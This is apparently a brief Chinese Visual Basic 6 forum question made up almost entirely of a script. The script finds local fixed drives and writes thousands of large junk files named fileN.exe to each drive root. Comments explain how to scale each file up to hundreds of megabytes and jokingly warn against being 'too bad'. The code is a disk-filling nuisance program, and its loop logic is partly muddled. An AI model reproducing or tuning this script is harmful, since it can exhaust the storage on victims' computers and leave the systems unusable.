VB 问题 - VB / 基础类

Option Explicit
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

Private Sub Form_Load()
  Label1.Caption = ""
  Dim X As Integer, I As Integer, R As String, h As Integer, str As String, J As Integer
  X = 0
  I = 67
  J = 1
  Do While X <> 1
  X = GetDriveType(Chr(I) + ":")
  If X = 3 Then
  R = Chr(I)
  Label1.Caption = Label1.Caption & R
  End If
  I = I + 1
   
   
   
   
   
  For J = 1 To 100
   
  For h = 1 To 100
   
  str = Left(R, J)
   
   
Open str + ":\file" + CStr(h) + ".exe" For Random As 1
DoEvents
Put #1, 300000, "file"

  '注释: 这里的这个30000是控制生成文件大小的?
  ' 注释：30000产生的文件大小是3.6M左右
  ' 注释：10000产生的文件大小是1.2M左右
  ' 注释：如果你改为3000000的话，那就是360M，不要太坏哦！


Close #1

Next

Next

  Loop